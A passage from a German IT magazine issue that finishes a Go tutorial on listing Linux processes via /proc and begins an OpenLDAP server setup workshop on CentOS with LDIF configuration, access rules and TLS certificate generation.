Strings legen das Format der gelesenen<br />

Zeile und den Datentyp fest. Alternativ<br />

– wenn auch vermutlich etwas langsamer<br />

– lässt sich das Gleiche auch <strong>mit</strong><br />

Regular Expressions erledigen. Dazu<br />

bietet Go das Paket »regexp« an, das<br />

die RE2-Syntax von Regular Expressions<br />

implementiert [3].<br />

Die von dem Modul zur Verfügung<br />

gestellten Funktionen sind etwas<br />

unübersichtlich, folgen aber einem<br />

System. Zunächst einmal gibt es von<br />

jeder Funktion zwei Varianten: eine,<br />

die ein Byte-Array verarbeitet und eine,<br />

<strong>mit</strong> dem Wort „String“ im Namen, die<br />

<strong>mit</strong> Strings umgeht. Dann gibt es Funktionen,<br />

die den gefundenen String nur<br />

einmal oder mehrfach („All“) liefern.<br />

Wer in einer Regular Expression mehrere<br />

Suchmuster verwenden und die<br />

gefundenen Strings Variablen zuweisen<br />

möchte, verwendet eine Funktion <strong>mit</strong><br />

„Submatch“ im Namen.<br />

Hier tut es die Funktion »FindString-<br />

Submatch«, weil das Regex-Muster<br />

so konstruiert ist, dass es ohnehin<br />

nur einmal zutreffen kann und dabei<br />

die Fundstellen alle in einem Array<br />

speichert. Das Byte-Array, das von<br />

»ReadFile«stammt, wird per Typecast<br />

in einen String umgewandelt. Würde<br />

man die Byte-Array-Varianten der<br />

Regular-Expression-Funktionen verwenden,<br />

müsste man danach auch <strong>mit</strong><br />

Byte-Array weiterarbeiten oder diese<br />

umwandeln.<br />

Auch für die Übersetzung des Suchmusters<br />

gibt es mehrere Funktionen: »Compile«,<br />

»CompilePOSIX«, »MustCompile«<br />

und »MustCompilePOSIX«. Warum das<br />

so ist, erschließt sich nicht ganz, denn<br />

das Gleiche hätte sich ja auch <strong>mit</strong> nur<br />

einer Funktion umsetzen lassen, die<br />

entsprechende Parameter verarbeitet.<br />

Um zu verhindern, dass die Regular<br />

Expression immer wieder neu übersetzt<br />

wird, kann man sie als Toplevel-Variable<br />

definieren. Der zugehörige Code ist<br />

in Listing 1 zu sehen.<br />

Zeile 14 des Codes legt ein neues<br />

»ProcData«-Objekt an und weist die<br />

beiden ersten Submatches dessen<br />

Attributen »pid« und »name« zu. In<br />

Zeile 9 ist die Regular Expression in<br />

Backticks »`« eingeschlossen, weil bei<br />

Strings in einfachen oder doppelten<br />

Anführungszeichen ein Backslash »\«<br />

als Escape-Zeichen gilt. Man müsste<br />

also umständlich vor jeden Backslash<br />

noch einen zweiten schreiben. In der<br />

Backtick-Umgebung kann man sich das<br />

sparen.<br />

Analog läuft das Ganze <strong>mit</strong> der Datei<br />

»/proc/PID/status«, die man ebenfalls<br />

einlesen muss, weil etwa die User-ID<br />

des Prozesses nicht in der »stat«-Datei<br />

zu finden ist. Allerdings ist die Status-<br />

Datei etwas schwieriger zu parsen,<br />

denn sie enthält viele einzelne Zeilen.<br />

Man könnte also die Datei zeilenweise<br />

verarbeiten oder eine Regular Expression<br />

im Multiline-Mode verwenden,<br />

den der Schalter »m« zu Beginn der<br />

Regex aktiviert. Dies allein genügte<br />

allerdings noch nicht, es war auch noch<br />

der Schalter »s« nötig, der dafür sorgt,<br />

dass die Metavariable ».« in der Regular<br />

Expression auch das Newline-Zeichen<br />

»\n« einschließt. Die Regex, um aus der<br />

Status-Datei die User- und Group-ID zu<br />

entnehmen, sieht dann so aus:<br />

(?sm)^Uid:\t(\d+).*^Gid:\t(\d+)<br />

Auch die UID wird nun einem Feld im<br />

»ProcData«-Objekt zugewiesen. Bleibt<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Programmieren<br />

Go<br />

103<br />

noch, aus der UID den Usernamen zu<br />

er<strong>mit</strong>teln, etwa über die Passwd-Datei.<br />

Die Arbeit kann man sich allerdings<br />

sparen, denn Go bietet dafür schon<br />

die Funktion »user.LookupId«, die als<br />

Ergebnis ein »User«-Objekt zurückgibt,<br />

das unter anderem den Benutzernamen<br />

enthält. Summa summarum sieht<br />

das so aus:<br />

user, _ := user.LookupId(procData.U<br />

uid)<br />

procData.user = user.Username<br />

Eine Option des »lap«-Tools soll bestimmten,<br />

ob es den Namen oder die<br />

UID ausgibt. Zur einfachen Implementierung<br />

von Kommandozeilenoptionen<br />

bringt Go das Paket »flags« <strong>mit</strong>. Wie<br />

alles in Go sind auch die Flags typisiert<br />

und stehen zum Beispiel als Integer,<br />

String und Boolean zur Verfügung.<br />

Einen Bool-Schalter definiert die folgende<br />

Zeile:<br />

var realname = flag.Bool("r", false, U<br />

"show real user name")<br />

flag.Parse()<br />

Der erste Parameter gibt den Namen<br />

des Schalters an, danach folgen die Default-Belegung<br />

und der erklärende Text.<br />

Im weiteren Verlauf des Programms<br />

kann man nun die Variable <strong>mit</strong> »if (realname)«<br />

abfragen. Mit »‐r« aufgerufen,<br />

gibt »lap« dann die Benutzernamen<br />

aus, sonst nur die UID (Abbildung 3).<br />

Die wesentlichen Funktionen des Programms<br />

sind in Listing 2 zu sehen, das<br />

komplette Listing auf dem Server des<br />

<strong>ADMIN</strong>-<strong>Magazin</strong>s [4].<br />

Was fehlt<br />

Mit relativ wenig Aufwand ist ein kleines<br />

Go-Tool entstanden, das die Prozesse<br />

auf einem Linux-System er<strong>mit</strong>telt<br />

und auf der Kommandozeile ausgibt.<br />

Erweiterungsmöglichkeiten gibt es<br />

noch viele, etwa einen Cache für das<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31288<br />

[1] Oliver Frommel, Programmieren <strong>mit</strong> Go, <strong>ADMIN</strong><br />

04/​2012: [http:// www. admin‐magazin. de/​<br />

Das‐Heft/ 2012/ 04/ Programmieren‐<strong>mit</strong>‐Go/]<br />

[2] The /proc Filesystem:<br />

[https:// www. kernel. org/ doc/​<br />

Documentation/ filesystems/ proc. txt]<br />

[3] RE2-Syntax:<br />

[https:// code. google. com/ p/ re2/ wiki/ Syntax]<br />

[4] Listings: [ftp:// ftp. admin‐magazin. de/ pub/​<br />

listings/ admin‐magazinde/ 2014/ 02/ golang]<br />

Lookup der Benutzernamen. Auch die<br />

Laufzeitinformationen der Prozesse<br />

wie die Startzeit und so weiter fehlen<br />

noch. All dies und mehr wird Teil eines<br />

Folgeartikels sein. n<br />

n Listing 2: »lap.go«<br />

01 ...<br />

02 <br />

03 type ProcData struct {<br />

04 name string<br />

05 pid string // using string to represent PID<br />

06 ppid string<br />

07 uid string<br />

08 user string<br />

09 }<br />

10 <br />

11 func getPidEntries(procDir string) (pids []string, err error) {<br />

12 entries, err := ioutil.ReadDir(procDir)<br />

13 <br />

14 for _, proc := range entries {<br />

15 if unicode.IsDigit([]rune(proc.Name())[0]) {<br />

16 pids = append(pids, proc.Name())<br />

17 }<br />

18 }<br />

19 return pids, err<br />

20 }<br />

21 <br />

22 func getProcData(pid string) (procData ProcData, err error) {<br />

23 filename := procDir + pid + "/stat"<br />

24 stat, err := ioutil.ReadFile(filename)<br />

25 if err != nil {<br />

26 log.Fatal(err)<br />

27 }<br />

28 data := restat.FindStringSubmatch(string(stat))<br />

29 procData = ProcData{pid: data[1], name: data[2]}<br />

30 <br />

31 filename = procDir + pid + "/status"<br />

32 status, err := ioutil.ReadFile(filename)<br />

33 if err != nil {<br />

34 log.Fatal(err)<br />

35 }<br />

36 data = restatus.FindStringSubmatch(string(status))<br />

37 procData.uid = data[1]<br />

38 user, _ := user.LookupId(procData.uid)<br />

39 procData.user = user.Username<br />

40 <br />

41 return procData, nil<br />

42 }<br />

43 <br />

44 func main() {<br />

45 var realname = flag.Bool("r", false, "show real user<br />

name")<br />

46 flag.Parse()<br />

47 pids, err := getPidEntries(procDir)<br />

48 if err != nil {<br />

49 log.Fatal(err)<br />

50 }<br />

51 for _, pid := range pids {<br />

52 procData, err := getProcData(pid)<br />

53 if *realname {<br />

54 fmt.Printf("%s\t%s\t%s\n", procData.user,<br />

procData.pid, procData.name)<br />

55 } else {<br />

56 fmt.Printf("%s\t%s\t%s\n", procData.uid,<br />

procData.pid, procData.name)<br />

57 }<br />

58 }<br />

59 }<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


<strong>ADMIN</strong> und Linux-<strong>Magazin</strong><br />

am Apple Newsstand!<br />

Jetzt NEU!<br />

Jetzt GRATIS<br />

testen!<br />

Alternativ finden Sie alle Titel der Medialinx AG auch bei:<br />

PagePlace, iKiosk, OnlineKiosk und Leserauskunft


freeX<br />

Einführung<br />

105<br />

Sonderteil<br />

Auf der folgenden Seite startet der regelmäßige<br />

FreeX-Sonderteil des <strong>ADMIN</strong>-<strong>Magazin</strong>s. Hier finden<br />

Sie Know-how-Artikel und Workshops von erfahrenen<br />

Autoren aus der langen Tradition der FreeX.<br />

OpenLDAP......................................106<br />

Ein ausführlicher Workshop erklärt, wie man den<br />

freien Directory-Server in Betrieb nimmt und beispielhaft<br />

einen Webserver da<strong>mit</strong> ab<strong>sicher</strong>t.<br />

ika747, 123RF<br />

www.admin-magazin.de Admin Ausgabe 02-2014


106<br />

freeX<br />

OpenLDAP<br />

Workshop OpenLDAP-Server<br />

Zentralregister<br />

tiero, 123RF<br />

Zentrale Benutzerverwaltung <strong>mit</strong> LDAP oder Active Directory ist heute Standard. Dennoch schrecken viele<br />

vor dem Aufbau einer solchen Infrastruktur zurück und verwalten Benutzerdaten lieber von Hand. Dieser<br />

Workshop zeigt, wie es <strong>mit</strong> OpenLDAP besser geht. Ulrich Habel<br />

Der OpenLDAP-Server verfügt über<br />

eine lange Historie in der Unix-Welt. Der<br />

Beginn des Projekts datiert bis ins Jahr<br />

1998 zurück, als das Thema zentrale<br />

Benutzerverwaltung lediglich im Enterprise-Umfeld<br />

ernstgenommen wurde.<br />

Kleine Insellösungen waren damals die<br />

Grundlage für eine zentrale Benutzerverwaltung;<br />

Verzeichnisserver gab es<br />

nur von großen IT-Anbietern. Ältere Leser<br />

werden jetzt vielleicht schmunzelnd<br />

an die Anfänge der Domain-Verwaltung<br />

unter Windows NT, Novell Netware oder<br />

NIS zurückdenken.<br />

Ein entsprechend ausgereifter Service<br />

stand <strong>mit</strong> X.500 ebenfalls zur Verfügung,<br />

fand aber in der Praxis nur wenig<br />

Verbreitung. LDAP (Lightweight Directory<br />

Access Protocol) sollte ursprünglich<br />

lediglich ein Protokoll für die X.500-<br />

Services sein. Daraus entwickelte sich<br />

der LDAP-Server als Verzeichnisserver,<br />

wie er heute vielseitig verwendet wird.<br />

1998 wurde der heutige OpenLDAP-Server<br />

als Klon der Sourcen des LDAP-Servers<br />

der Universität Michigan von Kurt<br />

Zeilenga ins Leben gerufen. Interessan-<br />

terweise ist das OpenLDAP-Projekt niemals<br />

eingeschlafen, sondern hat sich<br />

beständig weiterentwickelt und gilt daher<br />

heute immer noch als fortschrittlich<br />

und wegweisend. Allerdings haben die<br />

zahlreichen Änderungen, die sehr strikt<br />

durchgesetzt wurden, auch den einen<br />

oder anderen Anwender abgeschreckt.<br />

Üblicherweise werden Änderungen von<br />

elementaren Bestandteilen in einer<br />

Version als deprecated markiert und<br />

<strong>mit</strong> entsprechender Warnung versehen.<br />

In der Folgeversion ist diese Funktionalität<br />

dann nicht mehr verfügbar. Für<br />

das Projekt stellt dies den Fortschritt<br />

<strong>sicher</strong>, für den Administrator bedeutet<br />

es, immer am Ball bleiben zu müssen.<br />

Was ist ein Verzeichnisserver?<br />

Ein Verzeichnisserver stellt einen Behälter<br />

für Informationen zur Verfügung,<br />

der sich über das LDAP-Protokoll und<br />

passende Clients abfragen lässt. Der<br />

Vergleich <strong>mit</strong> einem Telefonbuch bietet<br />

sich zwar an, hält jedoch im Detail nicht<br />

stand. Ein LDAP-Server kann zwar Kontaktdaten<br />

für das Unternehmen beinhalten,<br />

jedoch auch <strong>mit</strong> weiteren Informationen<br />

zu einer Person angereichert<br />

werden. Letztlich ist aber die Art der<br />

Informationen nicht vorgegeben. So<br />

können ein Warenkatalog genauso wie<br />

eine Inventarliste ihren Platz finden.<br />

Ein Verzeichnisserver bietet sich immer<br />

dann an, wenn Informationen in einer<br />

baumartigen Struktur <strong>mit</strong> entsprechenden<br />

Unterzweigen abgelegt werden<br />

sollen. Die baumartige Struktur wird<br />

im Folgenden als DIT (Directory Information<br />

Tree) bezeichnet. Jede der abgelegten<br />

Informationen innerhalb des<br />

Baums kann eine Menge von Attributen<br />

enthalten, die teilweise zwingend<br />

vorhanden sein müssen oder optional<br />

sind. Die Festlegung, welche Attribute<br />

wo zu Verfügung stehen, wird durch ein<br />

Schema vorgegeben. Der OpenLDAP-<br />

Server stellt seine eigene Konfiguration<br />

beispielsweise in einem DIT dar.<br />

In diesem Workshop erfahren Sie, wie<br />

man den OpenLDAP-Server in Version<br />

2.4.23 auf einem CentOS 6.5 installiert<br />

und in Betrieb nimmt. Als Beispiel dient<br />

die Authentifizierung von Benutzern<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


freeX<br />

OpenLDAP<br />

107<br />

an einem Webserver, die Konfiguration kann aber für Betriebssysteme<br />

oder andere Dienste erweitert werden. Am Ende des<br />

Workshops steht da<strong>mit</strong> ein vollfunktionaler LDAP-Server für das<br />

Unternehmen zur Verfügung, der leicht erweitert werden kann<br />

und dem aktuellen Stand von CentOS 6.5 und OpenLDAP 2.4<br />

ohne zusammenkopierte Konfiguration entspricht.<br />

Installation des OpenLDAP-Servers<br />

Die Installation von OpenLDAP ist denkbar einfach. Alle erforderlichen<br />

Pakete befinden sich in den CentOS-Repositories und<br />

stehen da<strong>mit</strong> auf jeder CentOS-Installation ohne weitere Veränderungen<br />

zur Verfügung. Mit dem Paketmanager Yum erschöpft<br />

sich die Installation in einem Aufruf:<br />

$ sudo yum install openldap‐servers openldap‐clients httpd ldapvi<br />

Die beiden ersten Pakete erklären sich von selbst und werden<br />

benötigt, um den OpenLDAP-Server zu installieren und zu<br />

verwalten. Der Webserver »httpd« wird im Laufe des Tutorials<br />

verwendet, um die Authentifizierung und Autorisierung einer<br />

Webserver-Location gegenüber dem LDAP-Server zu demonstrieren.<br />

Das Werkzeug »ldapvi« ist ein universeller Kommandozeilen-LDAP-Client,<br />

der für kleinere administrative Aufgaben<br />

hervorragend geeignet ist.<br />

Konfiguration via OLC<br />

OpenLDAP hat in der Version 2.4, die sich im CentOS-Repository<br />

befindet, auf das Modell der dynamischen Konfiguration umgestellt.<br />

In der Kurzform wird diese Art der Konfiguration als<br />

OLC (On-Line-Configuration) bezeichnet. In den verschiedenen<br />

Dokumentationen rund um den OpenLDAP-Server taucht auch<br />

immer wieder der Begriff der »cn=config«-Methodik auf, die das<br />

Gleiche bedeutet.<br />

Beim »cn=config«-Modell liegen die Konfigurationsdaten im<br />

LDAP-Server und werden <strong>mit</strong> den LDAP-Client-Werkzeugen<br />

bearbeitet. Im alten Modell wurde der OpenLDAP-Server noch<br />

über eine zentrale Konfigurationsdatei gepflegt. Die Gründe für<br />

die Umstellung, die auf den ersten Blick erst einmal alles komplizierter<br />

macht, sind schnell ersichtlich. Alle Änderungen können<br />

im laufenden Betrieb vorgenommen werden, ohne dass ein<br />

Neustart des Servers erforderlich wird. Insbesondere bei größeren<br />

Installationen ist der Neustart eine relativ zeitaufwendige<br />

Sache, die mehrere Minuten dauern kann. Zudem verliert der<br />

LDAP-Server bei einem Neustart seinen Cache, der im Hauptspeicher<br />

liegt. Nachfolgende Anfragen dauern entsprechend<br />

länger und müssen erst wieder den Cache füllen.<br />

Mit dem dynamischen Konfigurationsmodell entfallen Neustarts<br />

und die Verfügbarkeit des LDAP-Servers bleibt erhalten. Sobald<br />

man das Konzept hinter dem neuen Konfigurationsmodell verstanden<br />

hat, fühlt es sich auch deutlich schlüssiger an. Beim alten<br />

Modell liegen die Konfigurationsdateien in einem Verzeichnisbaum<br />

unterhalb von »/etc/openldap/slapd.d«, die Vorrang<br />

vor einer eventuell vorhandenen Konfigurationsdatei »/etc/<br />

openldap/slapd.conf« haben. Dieser Artikel konzentriert sich im<br />

Weiteren aber ausschließlich auf das neue Modell. Nach der Installation<br />

sind einige Schritte erforderlich, bevor der LDAP-Server-Daemon<br />

»slapd« starten kann. Zuerst müssen Sie sich<br />

für ein Daten-Backend entscheiden. OpenLDAP unterstützt<br />

eine Vielzahl an Backends, beginnend bei der Berkeley<br />

DB (BDB), die als Standard gesetzt ist, über MySQL,<br />

Memory-Datenbanken oder auch Perl-Datenstrukturen. In<br />

unserer Beispielkonfiguration verwendet der LDAP-Server<br />

die BDB.<br />

Die nachfolgenden Schritte müssen Sie <strong>mit</strong> Root-Rechten<br />

durchführen. Statt direkt als Root-Benutzer zu arbeiten,<br />

werden im Folgenden alle Kommandos <strong>mit</strong> dem »sudo«-<br />

Befehl ausgeführt. Um eine initiale Datenbank anzulegen,<br />

liefert der OpenLDAP-Server ein Konfigurations-Template<br />

<strong>mit</strong>. Kopieren Sie es in das Datenverzeichnis des Open-<br />

LDAP-Servers:<br />

$ sudo cp /usr/share/openldap‐servers/DB_CONFIG.example U<br />

/var/lib/ldap/DB_CONFIG<br />

Das Template enthält Angaben über Cache-Größe und<br />

Datenbank-Logfiles. Alle diese Werte können Sie jedoch<br />

dank des dynamischen Konfigurationsmodells später<br />

ändern. Nach dem Kopieren der Datei testen Sie den<br />

OpenLDAP-Server auf korrekte Konfiguration und starten<br />

ihn anschließend:<br />

www.admin-magazin.de


108<br />

freeX<br />

OpenLDAP<br />

$ sudo slaptest ‐u<br />

$ sudo chkconfig slapd on<br />

$ service slapd start<br />

formulieren Sie <strong>mit</strong> dem Kommando<br />

»ldapsearch« eine Suchabfrage und<br />

schicken sie zum Server:<br />

Die weiteren Zeilen der Ausgabe geben<br />

Aufschluss über die Suche und die<br />

Form der Ausgabe:<br />

Voilà, der OpenLDAP-Server ist bereit<br />

für die initiale Konfiguration. Aktuell<br />

kann sich, obwohl der Server läuft,<br />

noch niemand verbinden.<br />

Authentifizieren<br />

Zuerst erzeugen Sie das LDAP-RootDN-<br />

Passwort. Der RootDN stellt den obersten<br />

Knoten in einem LDAP-Verzeichnis<br />

dar und kann grundsätzlich alle<br />

Knotenpunkte unter ihm verändern.<br />

Es ist quasi der Root-User des LDAP-<br />

Systems. Das Passwort kann <strong>mit</strong> dem<br />

Kommando »slappasswd« generiert<br />

werden. Das nachfolgende Kommando<br />

setzt das Passwort auf »geheim« und<br />

gibt den SHA-Hash des Passworts auf<br />

der Kommandozeile aus:<br />

$ sudo slappasswd ‐s geheim<br />

{SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa<br />

Die komplette Zeile kopieren Sie sich<br />

sinnvollerweise in ein temporäres<br />

Editor-Fenster, sie wird später für die<br />

Konfigurationsdatei benötigt.<br />

Zum jetzigen Zeitpunkt ist der Slapd-<br />

Daemon noch sehr rudimentär konfiguriert<br />

und kann noch keine sinnvollen<br />

Aufgaben erfüllen. Trotzdem ist es<br />

informativ, den Directory Information<br />

Tree (DIT) in der aktuellen Form anzuschauen.<br />

Wenn der LDAP-Server läuft,<br />

$ sudo ldapsearch ‐b cn=config U<br />

‐Y EXTERNAL ‐H ldapi:// '(objectClassU<br />

=olcDatabaseConfig)' olcDatabase<br />

Das Kommando »ldapsearch« wird<br />

hierbei angewiesen, sich über einen<br />

Socket (»ldapi«) zum LDAP-Server zu<br />

verbinden und eine Suchabfrage zu<br />

starten. Der erste Teil der Server-Antwort<br />

sieht so aus:<br />

SASL/EXTERNAL authentication started<br />

SASL username:<br />

gidNumber=0+uidNumber=0,cn=peercred,U<br />

cn=external,cn=auth<br />

Die Methode der Authentifizierung<br />

wird durch die Option »‐Y EXTERNAL«<br />

angegeben. Sie weist den LDAP-Server<br />

an, die Authentifizierung nicht gegen<br />

die Daten im LDAP-Server durchzuführen,<br />

sondern auf Basis der User-ID<br />

oder anderer Kriterien zu entscheiden.<br />

Für diese Form der Authentifizierung<br />

ist im OpenLDAP bereits ein Standard<br />

vorkonfiguriert, der hier genutzt wird.<br />

Der User <strong>mit</strong> der UserID 0 und der<br />

GruppenID 0 darf sich anmelden, also<br />

der User »root«. Deshalb muss diesem<br />

Kommando ein »sudo« vorangestellt<br />

werden. Zum aktuellen Zeitpunkt ist<br />

dies der einzige Weg, sich am LDAP-<br />

Server anzumelden.<br />

# extended LDIF<br />

# LDAPv3<br />

# base with scope subtree<br />

# filter:<br />

(objectClass=olcDatabaseConfig)<br />

# requesting: olcDatabase<br />

Das Format »extended LDIF« ist der<br />

Standard in der LDAP-Protokollversion<br />

3. Die Zeile »base« gibt an, von wo die<br />

Suche gestartet wurde. In diesem Falle<br />

wurde der Knotenpunkt <strong>mit</strong> dem Common<br />

Name (»cn«) »config« durchsucht.<br />

Der Scope, also der Suchbereich, gibt<br />

dabei Aufschluss über die Suchtiefe.<br />

Bei der Bezeichnung »subtree« wird<br />

alles unterhalb der Base durchsucht.<br />

Der Suchfilter wurde auf eine »object-<br />

Class« gesetzt, in diesem Fall »olcDatabaseConfig«.<br />

Eine Objektklasse stellt<br />

in LDAP eine Form von Datencontainer<br />

dar, die <strong>mit</strong> Attributen gefüllt ist.<br />

Des Weiteren sind in der Ausgabe die<br />

beiden interessantesten Datenbanken<br />

zu sehen:<br />

# {0}config, config<br />

dn: olcDatabase={0}config,cn=config<br />

olcDatabase: {0}config<br />

# {2}bdb, config<br />

dn: olcDatabase={2}bdb,cn=config<br />

olcDatabase: {2}bdb<br />

n Listing 1: »initial.ldif«<br />

01 dn: olcDatabase={0}config,cn=config<br />

02 changetype: modify<br />

03 replace: olcAccess<br />

04 olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred<br />

,cn=external,cn=auth" write by dn.base="cn=manager,dc=acme‐service<br />

s,dc=org" read by * none<br />

05 <br />

06 # replace: olcRootDN<br />

07 dn: olcDatabase={2}bdb,cn=config<br />

08 changetype: modify<br />

09 replace: olcRootPW<br />

10 olcRootPW: {SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa<br />

11 ‐<br />

12 replace: olcAccess<br />

13 olcAccess: {0}to attrs=userPassword by dn.base="gidNumber=0+uidNu<br />

mber=0,cn=peercred,cn=external,cn=auth" write by dn.base="cn=mana<br />

ger,dc=acme‐services,dc=org" write by anonymous auth by self write<br />

by dn="uid=syncrepl,ou=systems,dc=acme‐services,dc=org" read by *<br />

none<br />

14 olcAccess: {1}to * by self write by users read by * none<br />

15 ‐<br />

16 replace: olcSuffix<br />

17 olcSuffix: dc=acme‐services,dc=org<br />

18 ‐<br />

19 replace: olcRootDN<br />

20 olcRootDN: cn=manager,dc=acme‐services,dc=org<br />

21 <br />

22 dn: olcDatabase={1}monitor,cn=config<br />

23 changetype: modify<br />

24 replace: olcAccess<br />

25 olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred<br />

,cn=external,cn=auth" read by dn.base="cn=manager,dc=acme‐services<br />

,dc=org" read by * none<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


freeX<br />

OpenLDAP<br />

109<br />

Als erstes Element ist die Konfigurationsdatenbank<br />

vorhanden und dann<br />

die Datenbank (»{2}bdb«), die später<br />

die Nutzerdaten aufnehmen wird. Abgeschlossen<br />

wird die Antwort auf die<br />

Anfrage durch eine kleine Statistik über<br />

Suche und Treffer:<br />

# search result<br />

search: 2<br />

result: 0 Success<br />

# numResponses: 5<br />

# numEntries: 4<br />

Die Grundkonfiguration<br />

Nachdem der LDAP-Server nun läuft,<br />

steht die eigentliche Konfiguration an,<br />

um ihn auch wirklich benutzbar zu machen.<br />

Die Konfiguration wird in diesem<br />

Beispiel in zwei Bereiche unterteilt: die<br />

Server-Konfiguration und die Konfiguration<br />

für die späteren LDAP-Daten.<br />

Es findet dabei eine strikte Trennung<br />

zwischen den verschiedenen Aufgabenbereichen<br />

in der Administration des<br />

LDAP-Servers statt. Der Administrator<br />

des Linux-Systems darf die Konfiguration<br />

des LDAP-Servers verwalten, der<br />

Administrator des LDAP-Verzeichnisses<br />

(der „Manager“) hat nur Rechte für<br />

diese Daten.<br />

Eine Trennung dieser Art ist im Betrieb<br />

durchaus sinnvoll, da klar zwischen<br />

den verschiedenen Aufgaben unterschieden<br />

wird. So ist es möglich, die<br />

Applikationsbetreuung des LDAP-Servers<br />

an eine andere Abteilung zu übertragen,<br />

ohne die Integrität des Servers<br />

hinsichtlich der Sicherheit aufzugeben.<br />

Im ersten Schritt findet die Konfiguration<br />

des LDAP-Services statt. Die<br />

Konfigurationsdatei wird als Textdatei<br />

im LDIF-Format erstellt und <strong>mit</strong> dem<br />

Kommando »ldapmodify« eingelesen.<br />

Der Aufbau der Datei, die in Listing 1<br />

dargestellt ist, adressiert den zu ändernden<br />

Eintrag innerhalb des LDAP-<br />

Zweigs, gibt die Art der Änderung vor<br />

und schließt <strong>mit</strong> dem neuen Wert ab.<br />

In der initialen Konfigurationsdatei<br />

werden die Einsprungpunkte für die Änderungen<br />

<strong>mit</strong> dem DN, dem Distinguished<br />

Name, referenziert. Er entspricht<br />

immer dem vollen Pfad innerhalb des<br />

DIT (Directory Information Tree) des<br />

n Tabelle 1: LDAP-Keywords<br />

Abkürzung Voller Name Bedeutung<br />

DIT Directory Information Tree Informationsbaum im LDAP-Server<br />

CN Common Name Attribut eines Objekts im LDAP-Baum<br />

DN Distinguished Name Vollständiger Pfad eines Objekts innerhalb des<br />

LDAP-Baums<br />

DC Domain Component Bestandteil eines Toplevel-Knotens im LDAP-<br />

Baum<br />

OpenLDAP-Servers und kann daher<br />

nur ein einziges Mal vorhanden sein.<br />

Eine Übersicht über die verschiedenen<br />

Abkürzungen und deren Bedeutungen<br />

findet sich in Tabelle 1.<br />

Die initiale Konfiguration nimmt eine<br />

Vielzahl von Einstellungen vor. So<br />

erlaubt sie den Zugriff des Applikationsadministrators<br />

(Manager) auf den<br />

Informationsbaum des OpenLDAP-<br />

Servers. Da<strong>mit</strong> kann die Konfiguration<br />

von diesem User gelesen, jedoch nicht<br />

modifiziert werden. Für die Fehlersuche<br />

hat sich dieses Vorgehen als hilfreich<br />

erwiesen, da<strong>mit</strong> man nicht immer zwischen<br />

verschiedenen Rechten hin- und<br />

herspringen muss. Der zweite Block<br />

legt das Passwort des Manager-Users<br />

an, das oben <strong>mit</strong> »slappasswd« erzeugt<br />

wurde. In diesem Konfigurationsbeispiel<br />

lautet das Passwort »geheim«, für<br />

den produktiven Einsatz sollten Sie es<br />

gegen etwas Sinnvolles austauschen.<br />

Zugriffsregeln<br />

Der dritte Block enthält die Regeln für<br />

den Zugriff. Sie erlauben den schreibenden<br />

Zugriff für den Benutzer »root«<br />

über die Autorisierung des Systems sowie<br />

des Benutzers »manager«. Zudem<br />

darf sich jeder Benutzer authentifizieren<br />

und anschließend seine eigenen<br />

Daten verändern. Jeder Benutzer darf<br />

alle Daten bis auf das Attribut des User-<br />

Passworts anzeigen lassen.<br />

Im vierten Block wird das Suffix des<br />

LDAP-Servers festgelegt. Es besteht<br />

üblicherweise aus den Bestandteilen<br />

der Domain des Servers oder des<br />

Unternehmens. Punkte dienen dabei<br />

als Trennzeichen der einzelnen Bestandteile<br />

der Domain-Components<br />

(DC). Das Suffix aus dem Beispiel<br />

»dc=acme‐services,dc=org« entspricht<br />

demnach der Domain »acme‐services.<br />

org«. Es hat jedoch lediglich eine ordnende<br />

Funktion und soll eine eindeutige<br />

Kennzeichnung darstellen. Es ist<br />

nicht erforderlich, die echte Domain<br />

des LDAP-Servers zu verwenden.<br />

Der fünfte Block enthält die Konfiguration<br />

für den OpenLDAP-internen<br />

Service-Monitor. Er kann später genutzt<br />

werden, um Statusinformationen über<br />

den Server abzufragen. Nachdem alle<br />

Teile der Konfiguration angepasst<br />

wurden, kann die Konfigurationsdatei<br />

eingelesen werden. Auch bei diesem<br />

Vorgang wird wieder die Autorisierung<br />

<strong>mit</strong>tels des Benutzers »root« genutzt.<br />

$ sudo ldapmodify ‐Y EXTERNAL ‐H U<br />

ldapi:// ‐f initial.ldif<br />

Ab<strong>sicher</strong>ung des Servers<br />

Der Server ist nun einsatzbereit, allerdings<br />

noch vollkommen unge<strong>sicher</strong>t,<br />

denn er nimmt unverschlüsselte Anfragen<br />

auf Port 389 entgegen. Wenn der<br />

Manager sich von einer Workstation<br />

<strong>mit</strong> dem Server verbindet, wird das<br />

Passwort im Klartext übertragen. Um<br />

den Server vor unberechtigtem Zugriff<br />

zu schützen und das Mitschneiden des<br />

Passworts im Netz zu verhindern, sollte<br />

schnellstmöglich die Verschlüsselung<br />

konfiguriert werden. Hierbei bieten sich<br />

grundsätzlich zwei Wege an. Das erste<br />

Lösungsszenario verwendet ein selbstsigniertes<br />

Zertifikat, das <strong>mit</strong> den <strong>mit</strong>gelieferten<br />

Skripten im OpenLDAP-Paket<br />

erzeugt wird. Die Clients vertrauen<br />

später dem Server-Zertifikat. Wer schon<br />

eine Zertifizierungsstelle betreibt, kann<br />

auch einen anderen Weg einschlagen,<br />

dazu gleich mehr.<br />

Die einfache Option ist, die <strong>mit</strong>gelieferten<br />

Skripte zu verwenden, die Sie als<br />

Root-Benutzer ausführen müssen. Das<br />

erste Skript baut eine Zertifikatsdatenbank<br />

in dem Verzeichnis »/etc/openldap/certs«<br />

auf.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


110<br />

freeX<br />

OpenLDAP<br />

01 dn: cn=config<br />

$ sudo /usr/libexec/openldap/create‐U<br />

certdb.sh<br />

Creating certificate database in '/etcU<br />

/openldap/certs'.<br />

Das zweite Skript erzeugt das erforderliche<br />

Zertifikat und importiert es in den<br />

soeben erzeugten Zertifikats-Store.<br />

$ sudo /usr/libexec/openldap/generate‐U<br />

server‐cert.sh ‐d /etc/openldap/certs ‐hU<br />

ldap.acme‐services.org<br />

Der OpenLDAP-Server ist in der Standardkonfiguration<br />

so eingestellt, dass<br />

02 changetype: modify<br />

